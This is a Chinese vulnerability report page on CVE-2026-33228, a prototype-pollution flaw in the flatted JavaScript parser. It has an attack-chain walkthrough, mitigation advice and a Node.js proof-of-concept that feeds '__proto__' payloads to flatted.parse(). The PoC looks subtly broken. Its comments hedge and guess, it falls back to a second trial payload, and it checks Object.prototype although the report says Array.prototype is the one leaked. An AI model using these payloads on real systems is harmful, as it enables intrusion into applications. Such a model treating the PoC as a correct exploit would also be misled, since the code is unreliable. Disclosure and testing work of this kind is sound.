IPBUF安全漏洞报告
English
CVE-2026-33228 CVSS 9.8 严重

CVE-2026-33228 flatted原型污染漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33228
漏洞类型
原型污染
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
flatted

相关标签

原型污染flattedCVE-2026-33228JavaScriptRCE

漏洞概述

flatted是一个循环JSON解析器。在3.4.2版本之前,其parse()函数存在严重的安全漏洞。该函数在解析JSON时,直接将攻击者控制的字符串值作为数组索引键使用,而未验证其是否为数字。由于内部输入缓冲区是JavaScript数组,攻击者可以利用"__proto__"键访问并返回Array.prototype。该对象随后被视为合法的解析值并分配给输出对象的属性,从而向使用者泄露了Array.prototype的实时引用。任何随后写入该属性的代码都将导致全局原型污染,进而可能引发应用程序逻辑错误或远程代码执行等严重后果。

技术细节

该漏洞的根源在于flatted库的parse()函数在处理JSON输入时缺乏对键名的类型检查。在JavaScript中,数组的索引通常应为数字,但如果使用字符串索引(如"__proto__"),JavaScript引擎会尝试在对象的原型链上查找该属性。攻击者可以构造恶意的JSON数据,其中包含"__proto__"作为键。当flatted解析此数据时,它会将"__proto__"作为键去访问内部数组对象。由于数组本身没有名为"__proto__"的属性,访问操作会沿着原型链找到Array.prototype对象。flatted随后将这个Array.prototype对象作为解析结果的一部分返回给调用者。这意味着调用者获得了一个对全局Array.prototype的直接引用。如果应用程序后续对这个返回的对象进行属性赋值操作(例如parsedObject.someProperty = value),实际上是在修改Array.prototype。由于JavaScript中的数组都继承自Array.prototype,这种修改会影响整个应用程序运行环境中的所有数组,造成原型污染。攻击者可以利用这一点篡改应用程序的逻辑,甚至结合其他漏洞实现远程代码执行(RCE)。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用程序使用了受影响版本的flatted库(< 3.4.2)。
STEP 2
步骤2
攻击者构造特制的JSON数据,包含攻击者控制的字符串键(如"__proto__")。
STEP 3
步骤3
攻击者通过API请求或其他输入渠道将恶意JSON数据发送至服务器。
STEP 4
步骤4
服务器端应用程序使用flatted.parse()解析接收到的恶意JSON。
STEP 5
步骤5
由于漏洞触发,解析器泄露了Array.prototype引用,导致全局对象原型被污染。
STEP 6
步骤6
应用程序后续代码执行时利用被污染的原型属性,导致逻辑绕过或RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-33228 (flatted < 3.4.2) const flatted = require('flatted'); console.log('[*] Testing for Prototype Pollution in flatted...'); // Payload 1: Standard object based // In flatted, the parsing logic often involves arrays to reconstruct circular references. // The advisory mentions: "accessing it with the key '__proto__' returns Array.prototype" // Constructing a payload that triggers the vulnerability // The vulnerability allows assigning properties to Array.prototype const maliciousPayload = JSON.stringify({ "__proto__": { "polluted": true } }); console.log('[*] Parsing payload:', maliciousPayload); try { const parsed = flatted.parse(maliciousPayload); // Verify if the pollution occurred // If successful, empty object {} should have the 'polluted' property if ({}.polluted === true) { console.log('[+] SUCCESS: Prototype polluted via Object payload!'); console.log(' {}.polluted =', {}.polluted); } else { // Try an array based payload if object payload fails (common in flatted) // Flatted parses arrays specifically, so passing an array might be the direct trigger const arrayPayload = JSON.stringify([["__proto__"], { "polluted": true }]); const parsedArr = flatted.parse(arrayPayload); if ({}.polluted === true) { console.log('[+] SUCCESS: Prototype polluted via Array payload!'); console.log(' {}.polluted =', {}.polluted); } else { console.log('[-] FAILED: Prototype not polluted.'); } } } catch (e) { console.error('[-] Error during parsing:', e); }

影响范围

flatted < 3.4.2

防御指南

临时缓解措施
如果无法立即升级,建议对输入的JSON数据进行清洗,过滤掉包含"__proto__"、"constructor"、"prototype"等危险键名的数据。同时,尽量减少对不可信JSON数据的解析操作,或在沙箱环境中执行解析逻辑以隔离潜在的原型污染风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表